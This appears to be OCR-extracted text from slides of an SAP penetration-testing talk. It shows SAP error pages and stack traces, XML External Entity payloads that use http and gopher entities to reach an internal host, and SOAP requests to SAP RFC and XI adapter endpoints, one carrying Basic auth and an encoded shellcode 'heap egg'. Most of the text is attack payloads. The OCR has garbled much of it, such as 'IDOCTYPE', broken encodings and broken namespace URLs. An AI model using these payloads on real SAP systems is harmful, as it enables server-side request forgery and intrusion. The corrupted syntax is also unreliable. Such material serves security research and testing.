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\An error has occured in the IPC:

ConnectionException: Connection timed out: connect

IThis error is fatal. Please restart your session or contact the s
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Application error occurs during processing the request.

Details: java.lang.NullPointerException
jsp_IPCErrorPagel270493869562. jspService (jsp_ IPCErrorPagel270493869562.java:25)
com.sap.engine.services.servlets jsp.server.servlet.JSPServlet.service (TSPServlet.java:467)
cow.sap.engine.services.servlets_jsp.server.servlet.JSPServlet.service (JPServlet.java:181)
javax.servlet.http.HttpServlet.service (HttpServlet.java:853)
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lAn error has occured in the IPC:

ConnectionException: Connection refused: connect

This error is fatal. Please restart your session or contact th
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<?xml version="1.0" encoding="1S0O-8859-1"?7>

<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY xxe1 SYSTEM "http://172.16.0.1:80/someservice"” >]>

<foo>&xxe1;</foo>
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<?xml version="1.0" encoding="1S0O-8859-1"?>

<IDOCTYPE foo [

<!IELEMENT foo ANY >

<IENTITY date SYSTEM “gopher://172.16.0.1:3300/AAAAAAAAA" >]>

<foo>&date;</foo>
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POST /sap/bc/soap/rfc?sap-client=000 HTTP/1.1
Authorization: Basic U1FQKjouMjA2NTk5Mi==
Host: company.com:80

User-Agent: ERPSCAN Pentesting tool v 0.2
Content-Type: text/xml; charset=utf-8

Cookie: sap-client=000

Content-Length: 2271

<SOAP-ENV:Envelope xmIns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmins:SOAP-ENC="http://
schemas.xmIsoa}).org/soap/encodin " xmlIns:xsi="http;//www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd“="http: www.w3.0rg/2001/XMLSchema"><SOAP-ENV:Body><m:RSPO_R_SAPGPARAM
xmins:m="urn:sap-
com:document:sap:rfc:functions"><HEAP EGG>dsecdsechffffk4diFkDwj02Dwk0D7AuEE4y403f2s3a064M7n2
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POST /XISOAPAdapter/servlet/com.sap.aii.af.mp.soap.web.DilbertMSG?format=post HTTP/1.1

Host: sapserver.com:80
Content-Length: 7730

<?xml version="1.0" encoding="1S0-8859-1"?>
<IDOCTYPE foo [

<IELEMENT foo ANY >

<!ENTITY date SYSTEM “gopher://
<foo>&date;</foo>
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